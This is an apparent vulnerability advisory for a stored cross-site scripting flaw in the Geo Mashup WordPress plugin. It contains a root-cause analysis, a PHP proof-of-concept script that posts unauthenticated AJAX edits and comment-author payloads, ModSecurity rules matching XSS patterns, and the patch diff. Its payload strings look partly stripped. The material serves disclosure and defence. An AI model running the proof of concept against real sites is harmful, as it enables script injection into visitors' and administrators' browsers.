Opens in a new tab
Published : November 17, 2026

CVE-2026-116519: Geo Mashup <= 1.13.23 Unauthenticated Stored Cross-Site Scripting via Comment Author Name and User Display Name PoC, Patch Analysis & Rule

Plugin geo-mashup
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.13.23
Patched Version 1.13.24
Disclosed November 17, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-116519: Geo Mashup versions up to and including 1.13.23 are vulnerable to unauthenticated (and subscriber-level) stored cross-site scripting via the comment author name and user display name fields. The plugin fails to properly sanitize and escape these values before rendering them as map marker titles and, separately, exposes additional injection sinks through the AJAX edit handler, KML overlay URLs, map background colors, and heading tags. Atomic Edge rates the issue 7.2 (High) because a successful payload executes in the browser of any visitor who views an affected map, with the caveat that the comment-author path requires comment approval and the subscriber path requires the user-location mapping feature to be enabled.nnThe root cause is two-fold. First, GeoMashup::ajax_edit in geo-mashup/geo-mashup.php accepted unauthenticated requests through the wp_ajax_nopriv_geo_mashup_edit hook (removed in the patch) and passed $_POST[‘geo_mashup_ui_manager’] directly into GeoMashupUIManager::get_instance without validating the class name or checking any capability. That allowed an attacker to invoke save_posted_object_location on arbitrary objects, including user profiles and comments, and store unsanitized location labels. Second, GeoMashup::augment_object (around lines 887-918 of geo-mashup.php) took the stored label and ran html_entity_decode on it before passing it to JavaScript as the map title, converting an inert entity-encoded string into live markup. GeoMashupUIManager::get_instance (geo-mashup-ui-managers.php, get_instance method) also lacked the is_subclass_of guard that would prevent arbitrary class instantiation. Additional sinks existed in render-map.php (background_color printed raw into the map frame CSS, map_data_key used as a transient key) and in map-attributes.php (load_kml reflected from the query string into the map iframe URL).nnExploitation follows two paths. In the comment-author path, an unauthenticated attacker submits a comment with a payload such as in the author field on any post containing a Geo Mashup map, and once a moderator approves the comment, the plugin renders the decoded author name as a map marker title, executing the script for every visitor. In the subscriber path, an authenticated low-privilege user posts to /wp-admin/admin-ajax.php with action=geo_mashup_edit, geo_mashup_ui_manager=GeoMashupUserUIManager, geo_mashup_object_id=, and a crafted location label containing a script payload; because the vulnerable versions register wp_ajax_nopriv_geo_mashup_edit and never call current_user_can, the object location is saved and later served as an unescaped title to all map viewers. The same unauthenticated AJAX endpoint also accepts load_kml= and background_color=red;}… payloads that reach the page through map-attributes.php and render-map.php.nnThe patch (version 1.13.24) makes four coordinated changes. It removes the wp_ajax_nopriv_geo_mashup_edit registration so only authenticated users can reach ajax_edit, and inside ajax_edit it now casts geo_mashup_object_id through absint, restricts geo_mashup_ui_manager to an explicit allowlist (GeoMashupPostUIManager with edit_post, GeoMashupUserUIManager with edit_user, filterable via geo_mashup_ajax_edit_manager_capabilities), calls current_user_can on the target object before saving, and replaces echo json_encode/exit with wp_send_json. GeoMashupUIManager::get_instance now returns null for any non-string or non-subclass name. GeoMashup::map_object_title decodes the label and strips any < followed by a letter, /, ! or ? before returning it to JavaScript. New helpers sanitize_kml_url (geo-mashup.php) and hex_color_value plus is_map_data_key (render-map.php) validate load_kml, background_color, and map_data_key at the boundary, and the heading tags in render-map.php are now restricted to an allowlist of safe tag names with esc_html applied to the text. The Freemius SDK is also bumped from 2.13.0 to 2.13.5, which adds esc_html and esc_url wrapping around several admin notices.nnSuccessful exploitation yields stored cross-site scripting in the context of any authenticated user who views a Geo Mashup map, including administrators. Impact ranges from session cookie theft and credential phishing to full site takeover via an administrator's browser. The unauthenticated AJAX endpoint additionally let attackers write location data to arbitrary user and post objects, enabling content tampering and, combined with the map_data_key and load_kml weaknesses, arbitrary script injection into pages that do not even require a stored comment. Because the AJAX path is reachable without authentication and the XSS executes on the public map view, Atomic Edge considers the practical severity higher than the CVSS base for sites that enable user-location mapping.",
"poc_php": "<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-116519 – Geo Mashup <= 1.13.23 – Unauthenticated Stored XSS via Comment Author Name and User Display Namenn$target_url = 'http://localhost:8080'; // WordPress site running Geo Mashup <= 1.13.23nn// Path A: unauthenticated AJAX edit of a user location (requires user-location mapping enabled)n$ajax_url = $target_url . '/wp-admin/admin-ajax.php';n$payload = '‘;nn$ajax_body = array(n ‘action’ => ‘geo_mashup_edit’,n ‘geo_mashup_ui_manager’ => ‘GeoMashupUserUIManager’,n ‘geo_mashup_object_id’ => ‘1’, // victim user id, commonly the adminn ‘geo_mashup_label’ => $payload,n ‘geo_mashup_lat’ => ‘0’,n ‘geo_mashup_lng’ => ‘0’,n);nn$ch = curl_init($ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_body));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$response = curl_exec($ch);ncurl_close($ch);nn// The vulnerable versions register wp_ajax_nopriv_geo_mashup_edit, so no cookie is needed.n// Expect HTTP 200 with a status body containing code=200 on a vulnerable install.necho “[AJAX] ” . $response . “\n”;nn// Path B: stored comment author XSS. Submit a comment with a payload in the author field.n$comment_post = $target_url . ‘/wp-comments-post.php’;n$comment_body = array(n ‘comment’ => ‘Atomic Edge PoC comment body.’,n ‘author’ => ‘attacker’ . $payload,n ’email’ => ‘poc@example.com’,n ‘url’ => ”,n ‘comment_post_ID’ => ‘1’,n ‘comment_parent’ => ‘0’,n);nn$ch = curl_init($comment_post);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_body));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$comment_resp = curl_exec($ch);ncurl_close($ch);nn// After an administrator approves the comment, load a page containing a Geo Mashup map.n// The plugin decodes the stored author name and emits it unescaped as a map title,n// causing the onerror handler to execute for every visitor.necho “[COMMENT] submitted (requires moderation approval), HTTP response length: ” . strlen((string)$comment_resp) . “\n”;nn// Path C: unauthenticated query string injection via load_kml on a rendered map page.n$map_page = $target_url . ‘/?geo_mashup_content=render-map&map_data_key=” . md5(“poc”) . “&load_kml=” . urlencode(‘‘);n$ch = curl_init($map_page);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n$page_body = curl_exec($ch);ncurl_close($ch);nnif (strpos((string)$page_body, ‘‘) !== false) {n echo “[KML] load_kml payload reflected unescaped in the map iframe URL.\n”;n}n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-116519nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261165,phase:2,deny,status:403,chain,msg:’CVE-2026-116519 Geo Mashup unauthenticated stored XSS via geo_mashup_edit’,severity:’CRITICAL’,tag:’CVE-2026-116519′”n SecRule ARGS_POST:action “@streq geo_mashup_edit” “chain”n SecRule ARGS_POST:geo_mashup_ui_manager “@rx ^(GeoMashupUserUIManager|GeoMashupCommentUIManager)$” “chain”n SecRule ARGS_POST:geo_mashup_label “@rx (?i)(<[a-z/!?]|javascript:|onerror\s*=|onload\s*=|onfocus\s*=)" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,msg:'CVE-2026-116519 Geo Mashup XSS payload in geo_mashup_label',severity:'CRITICAL',tag:'CVE-2026-116519'"nnSecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" \n "id:20261166,phase:2,deny,status:403,chain,msg:'CVE-2026-116519 Geo Mashup unauthenticated geo_mashup_edit request',severity:'CRITICAL',tag:'CVE-2026-116519'"n SecRule ARGS_POST:action "@streq geo_mashup_edit" "chain"n SecRule REQUEST_HEADERS:Cookie "@rx ^$" "t:none,msg:'CVE-2026-116519 unauthenticated geo_mashup_edit',severity:'CRITICAL',tag:'CVE-2026-116519'""
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geo-mashup/geo-mashup-ui-managers.php
+++ b/geo-mashup/geo-mashup-ui-managers.php
@@ -23,11 +23,15 @@
 	 * @since 1.3
 	 *
 	 * @param string $name The class name of the manager.
-	 * @return GeoMashupPostUIManager|GeoMashupUserUIManager|GeoMashupCommentUIManager The singleton object.
+	 * @return GeoMashupPostUIManager|GeoMashupUserUIManager|null The singleton object, null if not a UI manager class.
 	 */
 	public static function get_instance( $name ) {
 		static $instances = array();

+		if ( ! is_string( $name ) || ! is_subclass_of( $name, __CLASS__ ) ) {
+			return null;
+		}
+
 		if ( ! isset( $instances[$name] ) ) {
 			$instances[$name] = new $name();
 		}
@@ -598,8 +602,7 @@
 		// Browser upload processing
 		add_filter( 'wp_handle_upload', array( &$this, 'wp_handle_upload' ) );

-		// Enable front or back end ajax edits
-		add_action( 'wp_ajax_nopriv_geo_mashup_edit', array( 'GeoMashup', 'ajax_edit' ) );
+		// Enable ajax edits - logged in only, since every edit requires a capability
 		add_action( 'wp_ajax_geo_mashup_edit', array( 'GeoMashup', 'ajax_edit' ) );

 		// Form generation
--- a/geo-mashup/geo-mashup.php
+++ b/geo-mashup/geo-mashup.php
@@ -3,7 +3,7 @@
 Plugin Name: Geo Mashup
 Plugin URI: https://wordpress.org/plugins/geo-mashup/
 Description: Save location for posts and pages, or even users and comments. Display these locations on Google, Leaflet, and OSM maps. Make WordPress into your GeoCMS.
-Version: 1.13.23
+Version: 1.13.24
 Author: Dylan Kuhn
 Text Domain: GeoMashup
 Domain Path: /lang
@@ -256,7 +256,7 @@
 		define('GEO_MASHUP_DIRECTORY', dirname( GEO_MASHUP_PLUGIN_NAME ) );
 		define('GEO_MASHUP_URL_PATH', trim( plugin_dir_url( __FILE__ ), '/' ) );
 		define('GEO_MASHUP_MAX_ZOOM', 20);
-		define('GEO_MASHUP_VERSION', '1.13.23');
+		define('GEO_MASHUP_VERSION', '1.13.24');
 		define('GEO_MASHUP_DB_VERSION', '1.3');
 	}

@@ -570,21 +570,41 @@

 		$status = array( 'request' => 'ajax-edit', 'code' => 200 );
 		if ( isset( $_POST['geo_mashup_object_id'] ) ) {
-			$status['object_id'] = $_POST['geo_mashup_object_id'];
+			$status['object_id'] = absint( $_POST['geo_mashup_object_id'] );
 		} else {
 			$status['code'] = 400;
 			$status['message'] = __( 'No object id posted.', 'GeoMashup' );
 			$status['object_id'] = '?';
 		}

-		/** @todo add an option for a user capability check here? */
+		/**
+		 * Filter the UI managers that may save locations via ajax, and the
+		 * capability required on the object ID to do so.
+		 *
+		 * @since 1.13.24
+		 *
+		 * @param array $manager_capabilities UI manager class name => meta capability.
+		 */
+		$manager_capabilities = apply_filters( 'geo_mashup_ajax_edit_manager_capabilities', array(
+			'GeoMashupPostUIManager' => 'edit_post',
+			'GeoMashupUserUIManager' => 'edit_user',
+		) );

 		if ( ! empty( $_POST['geo_mashup_ui_manager'] ) && 200 === $status['code'] ) {
-			$ui_manager = GeoMashupUIManager::get_instance( $_POST['geo_mashup_ui_manager'] );
-			$result = $ui_manager->save_posted_object_location( $status['object_id'] );
-			if ( is_wp_error( $result ) ) {
-				$status['code'] = 500;
-				$status['message'] = $result->get_error_message();
+			$manager_name = (string) $_POST['geo_mashup_ui_manager'];
+			if ( ! isset( $manager_capabilities[$manager_name] ) ) {
+				$status['code'] = 400;
+				$status['message'] = __( 'Object location not saved - invalid request.', 'GeoMashup' );
+			} else if ( ! current_user_can( $manager_capabilities[$manager_name], $status['object_id'] ) ) {
+				$status['code'] = 403;
+				$status['message'] = __( 'You are not allowed to edit this location.', 'GeoMashup' );
+			} else {
+				$ui_manager = GeoMashupUIManager::get_instance( $manager_name );
+				$result = $ui_manager->save_posted_object_location( $status['object_id'] );
+				if ( is_wp_error( $result ) ) {
+					$status['code'] = 500;
+					$status['message'] = $result->get_error_message();
+				}
 			}
 		}

@@ -598,8 +618,7 @@
 			}
 		}

-		echo json_encode( array( 'status' => $status ) );
-		exit();
+		wp_send_json( array( 'status' => $status ) );
 	}

 	/**
@@ -887,9 +906,7 @@
 		$augmented_object = array(
 			'object_name' => $object_name,
 			'object_id' => $object_location->object_id,
-			// We should be able to use real UTF-8 characters in titles
-			// Helps with the spelling-out of entities in tooltips
-			'title' => html_entity_decode( $object_location->label, ENT_COMPAT, 'UTF-8' ),
+			'title' => self::map_object_title( $object_location->label ),
 			'lat' => $object_location->lat,
 			'lng' => $object_location->lng,
 			'author_name' => $author_name,
@@ -901,6 +918,30 @@
 	}

 	/**
+	 * Convert a stored object label to the plain text title used by map JavaScript.
+	 *
+	 * Labels are stored entity encoded, so decoding can produce markup that was
+	 * inert in storage. Only a less than sign followed by a letter, /, ! or ? can
+	 * open a tag in HTML, so titles without one are left as they are.
+	 *
+	 * @since 1.13.24
+	 *
+	 * @param string $label The stored label.
+	 * @return string The decoded title, which contains no HTML tags.
+	 */
+	private static function map_object_title( $label ) {
+		// We should be able to use real UTF-8 characters in titles
+		// Helps with the spelling-out of entities in tooltips
+		$title = html_entity_decode( $label, ENT_COMPAT, 'UTF-8' );
+
+		if ( preg_match( '/<[a-z/!?]/i', $title ) ) {
+			$title = preg_replace( '/<+(?=[a-z/!?])/i', '', wp_strip_all_tags( $title ) );
+		}
+
+		return $title;
+	}
+
+	/**
 	 * Build the data for a javascript map.
 	 *
 	 * Parameters are used both to retrieve data and as options to
@@ -924,6 +965,19 @@
 			unset( $query[ $reserved_key ] );
 		}

+		// A KML overlay URL can also come from a request or a shortcode, and
+		// it reaches JavaScript as a URL too, so it has to be vetted. It can't
+		// simply be unset like the keys above, since supplying it is a
+		// documented feature.
+		if ( isset( $query['load_kml'] ) ) {
+			$load_kml = self::sanitize_kml_url( $query['load_kml'] );
+			if ( '' === $load_kml ) {
+				unset( $query['load_kml'] );
+			} else {
+				$query['load_kml'] = $load_kml;
+			}
+		}
+
 		$defaults = array(
 			'map_api' => $geo_mashup_options->get( 'overall', 'map_api' )
 		);
@@ -1025,6 +1079,59 @@
 	}

 	/**
+	 * Format and validate an untrusted KML overlay URL.
+	 *
+	 * HTML entities are decoded here because shortcode attributes store them
+	 * encoded, and some KML servers (Google) reject entities in URLs. Doing
+	 * that decoding server side keeps the value away from the HTML-parsing
+	 * sinks a browser offers, where a value like "<img src=x onerror=...>"
+	 * would otherwise run as markup instead of failing as a URL.
+	 *
+	 * Site-relative and protocol-relative URLs are allowed, since KML is
+	 * usually uploaded to the site itself. Anything else has to be http(s):
+	 * notably not "javascript:" or "data:".
+	 *
+	 * @since 1.13.24
+	 * @param string $url An untrusted KML URL.
+	 * @return string The URL, or '' if it isn't a usable http(s) URL.
+	 */
+	public static function sanitize_kml_url( $url ) {
+		if ( empty( $url ) || ! is_string( $url ) ) {
+			return '';
+		}
+
+		// esc_url_raw() strips the characters that make HTML injection
+		// possible, and returns '' for a disallowed protocol. Use the raw
+		// variant so '&' isn't re-encoded into the entity we just decoded.
+		$url = esc_url_raw(
+			html_entity_decode( $url, ENT_QUOTES ),
+			array( 'http', 'https' )
+		);
+
+		if ( '' === $url ) {
+			return '';
+		}
+
+		// An absolute URL has to have a plausible host. That also weeds out
+		// input that only survived the escaping above as a nonsense URL:
+		// stripping the markup out of '<img src=x onerror=alert(1)>' leaves
+		// esc_url_raw() prepending a protocol to the remains.
+		if ( preg_match( '#^(?:https?:)?//#i', $url ) ) {
+			$host = parse_url( $url, PHP_URL_HOST );
+			$host_pattern = '/^(?:[a-z0-9-._~x80-xff]+|[[0-9a-f:.]+])$/i';
+			if ( empty( $host ) || ! preg_match( $host_pattern, $host ) ) {
+				return '';
+			}
+			return $url;
+		}
+
+		// Anything else is a path relative to the site, which is a normal way
+		// to point at uploaded KML. esc_url_raw() has already removed the
+		// characters that could make it markup instead of a path.
+		return $url;
+	}
+
+	/**
 	 * Make an URL with querystring added to the site's home URL.
 	 *
 	 * @since 1.4
@@ -1804,12 +1911,25 @@
 			$for_map = $args['for_map'];
 		}
 		if ( !empty( $args['heading_text'] ) ) {
-			$heading_div = '<div id="' . esc_attr($for_map) . '-visible-list-header" style="display:none;">';
-			$heading_tags = '<h2>';
+			$tag_names = array( 'h2' );
 			if ( !empty( $args['heading_tags'] ) ) {
-				$heading_tags = $args['heading_tags'];
+				// Keep only the names of allowed tags, e.g. '<h3><em>' becomes h3 and em
+				preg_match_all( '/<s*([a-z][a-z0-9]*)/i', $args['heading_tags'], $matches );
+				$allowed_tag_names = array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div', 'span', 'strong', 'em', 'b', 'i' );
+				$requested_tag_names = array_intersect( array_map( 'strtolower', $matches[1] ), $allowed_tag_names );
+				if ( $requested_tag_names ) {
+					$tag_names = array_values( $requested_tag_names );
+				}
+			}
+			$list_html .= '<div id="' . esc_attr($for_map) . '-visible-list-header" style="display:none;">';
+			foreach ( $tag_names as $tag_name ) {
+				$list_html .= '<' . $tag_name . '>';
+			}
+			$list_html .= esc_html( $args['heading_text'] );
+			foreach ( array_reverse( $tag_names ) as $tag_name ) {
+				$list_html .= '</' . $tag_name . '>';
 			}
-			$list_html .= balanceTags( esc_html($heading_div . $heading_tags . $args['heading_text']), true );
+			$list_html .= '</div>';
 		}
 		$list_html .= '<div id="' . esc_attr($for_map) . '-visible-list"></div>';
 		return $list_html;
--- a/geo-mashup/map-attributes.php
+++ b/geo-mashup/map-attributes.php
@@ -479,6 +479,19 @@

 		$allowed_parameters = array_intersect_key( wp_parse_args( $_SERVER['QUERY_STRING'] ), array_flip( $whitelist ) );

+		// A KML overlay URL from the query string is also copied into the map
+		// iframe URL, so vet it here instead of reflecting it back into the
+		// page. An unusable one is dropped, leaving any shortcode attribute
+		// of the same name in place.
+		if ( isset( $allowed_parameters['load_kml'] ) ) {
+			$load_kml = GeoMashup::sanitize_kml_url( $allowed_parameters['load_kml'] );
+			if ( '' === $load_kml ) {
+				unset( $allowed_parameters['load_kml'] );
+			} else {
+				$allowed_parameters['load_kml'] = $load_kml;
+			}
+		}
+
 		$this->values = array_merge( $this->values, $allowed_parameters );
 	}
 }
--- a/geo-mashup/render-map.php
+++ b/geo-mashup/render-map.php
@@ -138,6 +138,45 @@
 	}

 	/**
+	 * Format and validate a color as a CSS hex color value.
+	 *
+	 * Geo Mashup stores these without the leading '#', but accept one so a
+	 * hand-written attribute works either way.
+	 *
+	 * @since 1.13.24
+	 * @param string $color
+	 * @return string A CSS hex color, or '' if $color isn't one.
+	 */
+	private static function hex_color_value( $color ) {
+		if ( empty( $color ) || ! is_string( $color ) ) {
+			return '';
+		}
+
+		$digits = ltrim( trim( $color ), '#' );
+
+		if ( ! preg_match( '/^([0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i', $digits ) ) {
+			return '';
+		}
+
+		return '#' . $digits;
+	}
+
+	/**
+	 * Check that a map data key is in the format we generate.
+	 *
+	 * The key names the transient a request reads its map data from, so
+	 * requiring our own format keeps a visitor from choosing which stored
+	 * value gets loaded and rendered as a map.
+	 *
+	 * @since 1.13.24
+	 * @param string $key The map_data_key request value.
+	 * @return bool Whether the key is an MD5 hash, as generated in GeoMashup::map().
+	 */
+	private static function is_map_data_key( $key ) {
+		return is_string( $key ) && 32 === strlen( $key ) && ctype_xdigit( $key );
+	}
+
+	/**
 	 * Retrieve any cached map data, or build it.
 	 *
 	 * @since 1.5
@@ -147,7 +186,7 @@

 		$map_data = null;

-		if ( isset( $_GET['map_data_key'] ) ) {
+		if ( isset( $_GET['map_data_key'] ) && self::is_map_data_key( $_GET['map_data_key'] ) ) {
 			// Map data is cached in a transient
 			$map_data = get_transient( 'gmm' . $_GET['map_data_key'] );
 		}
@@ -423,9 +462,15 @@
 		unset( $map_data['height'] );
 		self::map_property( 'height', $height );

-		// Add background color if specified
+		// Add background color if specified. This is printed into a CSS
+		// declaration in the map frame template, where escaping can't keep a
+		// request value from closing the declaration and adding rules of its
+		// own, so only accept the hex color the option is documented to be.
 		if ( !empty( $map_data['background_color'] ) ) {
-			self::map_property( 'background_color', '#' . $map_data['background_color'] );
+			$background_color = self::hex_color_value( $map_data['background_color'] );
+			if ( '' !== $background_color ) {
+				self::map_property( 'background_color', $background_color );
+			}
 			unset( $map_data['background_color'] );
 		}

--- a/geo-mashup/tests.php
+++ b/geo-mashup/tests.php
@@ -169,7 +169,8 @@
 foreach( $test_apis as $test_api ) {
 	$api_data = $global_data;
 	$api_data['map_api'] = $test_api;
-	$data_key = $test_api . '-global-test';
+	// Must be an MD5 hash to pass GeoMashupRenderMap::is_map_data_key()
+	$data_key = md5( $test_api . '-global-test' );
 	set_transient( 'gmm' . $data_key, $api_data );
 	$global_urls[$test_api] = htmlspecialchars_decode( GeoMashup::build_home_url( array(
 		'geo_mashup_content' => 'render-map',
--- a/geo-mashup/vendor/autoload.php
+++ b/geo-mashup/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitacec36a240eccb40419040a76c803f0f::getLoader();
+return ComposerAutoloaderInit8c7fbccead05b6258a218ceb75dfb338::getLoader();
--- a/geo-mashup/vendor/composer/autoload_real.php
+++ b/geo-mashup/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitacec36a240eccb40419040a76c803f0f
+class ComposerAutoloaderInit8c7fbccead05b6258a218ceb75dfb338
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitacec36a240eccb40419040a76c803f0f', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit8c7fbccead05b6258a218ceb75dfb338', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitacec36a240eccb40419040a76c803f0f', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit8c7fbccead05b6258a218ceb75dfb338', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitacec36a240eccb40419040a76c803f0f::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit8c7fbccead05b6258a218ceb75dfb338::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInitacec36a240eccb40419040a76c803f0f::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInit8c7fbccead05b6258a218ceb75dfb338::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/geo-mashup/vendor/composer/autoload_static.php
+++ b/geo-mashup/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitacec36a240eccb40419040a76c803f0f
+class ComposerStaticInit8c7fbccead05b6258a218ceb75dfb338
 {
     public static $files = array (
         '8d50dc88e56bace65e1e72f6017983ed' => __DIR__ . '/..' . '/freemius/wordpress-sdk/start.php',
@@ -31,9 +31,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitacec36a240eccb40419040a76c803f0f::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitacec36a240eccb40419040a76c803f0f::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitacec36a240eccb40419040a76c803f0f::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit8c7fbccead05b6258a218ceb75dfb338::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit8c7fbccead05b6258a218ceb75dfb338::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit8c7fbccead05b6258a218ceb75dfb338::$classMap;

         }, null, ClassLoader::class);
     }
--- a/geo-mashup/vendor/composer/installed.php
+++ b/geo-mashup/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'cyberhobo/wordpress-geo-mashup',
-        'pretty_version' => '1.13.23',
-        'version' => '1.13.23.0',
-        'reference' => 'b905cfe9e22b9ba1f5f8293a83220100a2ad03b1',
+        'pretty_version' => '1.13.24',
+        'version' => '1.13.24.0',
+        'reference' => '1c7f09bf5e320577ba5c92554bcc9627f1ceee47',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,18 +11,18 @@
     ),
     'versions' => array(
         'cyberhobo/wordpress-geo-mashup' => array(
-            'pretty_version' => '1.13.23',
-            'version' => '1.13.23.0',
-            'reference' => 'b905cfe9e22b9ba1f5f8293a83220100a2ad03b1',
+            'pretty_version' => '1.13.24',
+            'version' => '1.13.24.0',
+            'reference' => '1c7f09bf5e320577ba5c92554bcc9627f1ceee47',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'freemius/wordpress-sdk' => array(
-            'pretty_version' => '2.13.0',
-            'version' => '2.13.0.0',
-            'reference' => '3cbe98b5bd0b0fb5ca4df97b8088592737ea4375',
+            'pretty_version' => '2.13.5',
+            'version' => '2.13.5.0',
+            'reference' => '0875c4ee3c941572f44d60cb2a687c54295db3d7',
             'type' => 'library',
             'install_path' => __DIR__ . '/../freemius/wordpress-sdk',
             'aliases' => array(),
--- a/geo-mashup/vendor/freemius/wordpress-sdk/config.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/config.php
@@ -210,6 +210,10 @@
         define( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST', 'http://sandbox-api.freemius:8080' );
     }

+    if ( ! defined( 'WP_FS__API_TIMEOUT' ) ) {
+        define( 'WP_FS__API_TIMEOUT', 30 );
+    }
+
     // Set API address for local testing.
     if ( ! WP_FS__IS_PRODUCTION_MODE ) {
         if ( ! defined( 'FS_API__ADDRESS' ) ) {
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -3946,7 +3946,7 @@

             $this->_storage->connectivity_test = array(
                 'is_connected' => $is_connected,
-                'host'         => $_SERVER['HTTP_HOST'],
+                'host'         => isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : '',
                 'server_ip'    => WP_FS__REMOTE_ADDR,
                 'is_active'    => $is_active,
                 'timestamp'    => WP_FS__SCRIPT_START_TIME,
@@ -4540,28 +4540,6 @@
             }

             if ( $this->is_user_in_admin() ) {
-                if ( $this->is_registered() && fs_request_has( 'purchase_completed' ) ) {
-                    $this->_admin_notices->add_sticky(
-                        sprintf(
-                        /* translators: %s: License type (e.g. you have a professional license) */
-                            $this->get_text_inline( 'You have purchased a %s license.', 'you-have-x-license' ),
-                            fs_request_get( 'purchased_plan' )
-                        ) .
-                        sprintf(
-                            $this->get_text_inline(" The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box.", 'post-purchase-email-sent-message' ),
-                            $this->get_module_label( true ),
-                            ( FS_Plugin::is_valid_id( $this->get_bundle_id() ) ? "products' " : '' ),
-                            ( FS_Plugin::is_valid_id( $this->get_bundle_id() ) ? 's' : '' ),
-                            sprintf(
-                                '<strong>%s</strong>',
-                                fs_request_get( 'purchase_email' )
-                            )
-                        ),
-                        'plan_purchased',
-                        $this->get_text_x_inline( 'Yee-haw', 'interjection expressing joy or exuberance', 'yee-haw' ) . '!'
-                    );
-                }
-
                 if ( $this->is_addon() ) {
                     if ( ! $this->is_parent_plugin_installed() ) {
                         $parent_name = $this->get_option( $plugin_info, 'parent_name', null );
@@ -4863,9 +4841,10 @@
             ) {
                 $code = empty( $result->error->code ) ? '' : " Code: {$result->error->code}";

-                $error_message .= "<b>{$result->error->message}{$code}</b>";
+                // We do not send HTML from exceptions from Freemius servers, but we escape it nonetheless.
+                $error_message .= "<b>" . esc_html( $result->error->message . $code ) . "</b>";
             } else {
-                $error_message .= var_export( $result, true );
+                $error_message .= esc_html( var_export( $result, true ) );
             }

             return $error_message;
@@ -6558,10 +6537,7 @@
             $next_schedule = $this->next_sync_cron();

             // The event is properly scheduled, so no need to reschedule it.
-            if (
-                is_numeric( $next_schedule ) &&
-                $next_schedule > time()
-            ) {
+            if ( is_numeric( $next_schedule ) ) {
                 return;
             }

@@ -6800,9 +6776,11 @@
                 $email_address = $current_user->user_email;
             }

+            $escaped_email_address = esc_html( $email_address );
+
             $formatted_message_args = array(
                 "<b>{$this->get_plugin_name()}</b>",
-                "<b>{$email_address}</b>",
+                "<b>{$escaped_email_address}</b>",
             );

             if ( ! $has_upgrade_context || ! fs_is_network_admin() ) {
@@ -6847,7 +6825,7 @@
                 }

                 $formatted_message_args[] = ( ! empty( $support_email_address ) ) ?
-                    ( "<b>{$support_email_address}</b>" ) :
+                    ( "<b>" . esc_html( $support_email_address ) . "</b>" ) :
                     $this->get_text_x_inline(
                         "the product's support email address",
                         'Part of the message that tells the user to check their spam folder for a specific email.',
@@ -7098,7 +7076,6 @@
          */
         function _enqueue_connect_essentials() {
             wp_enqueue_script( 'jquery' );
-            wp_enqueue_script( 'json2' );

             fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.js' );
             fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' );
@@ -17436,7 +17413,7 @@
                 FS_User_Lock::instance()->unlock();
             }

-            if ( 1 < count( $installs ) ) {
+            if ( 1 < count( $installs ) || fs_is_network_admin() ) {
                 // Only network level opt-in can have more than one install.
                 $is_network_level_opt_in = true;
             }
@@ -17568,6 +17545,11 @@
                 return;
             }

+            // Only site administrators who can activate plugins may opt-in.
+            if ( ! $this->is_user_admin() ) {
+                return;
+            }
+
             $has_pending_activation_confirmation_param = fs_request_has( 'pending_activation' );

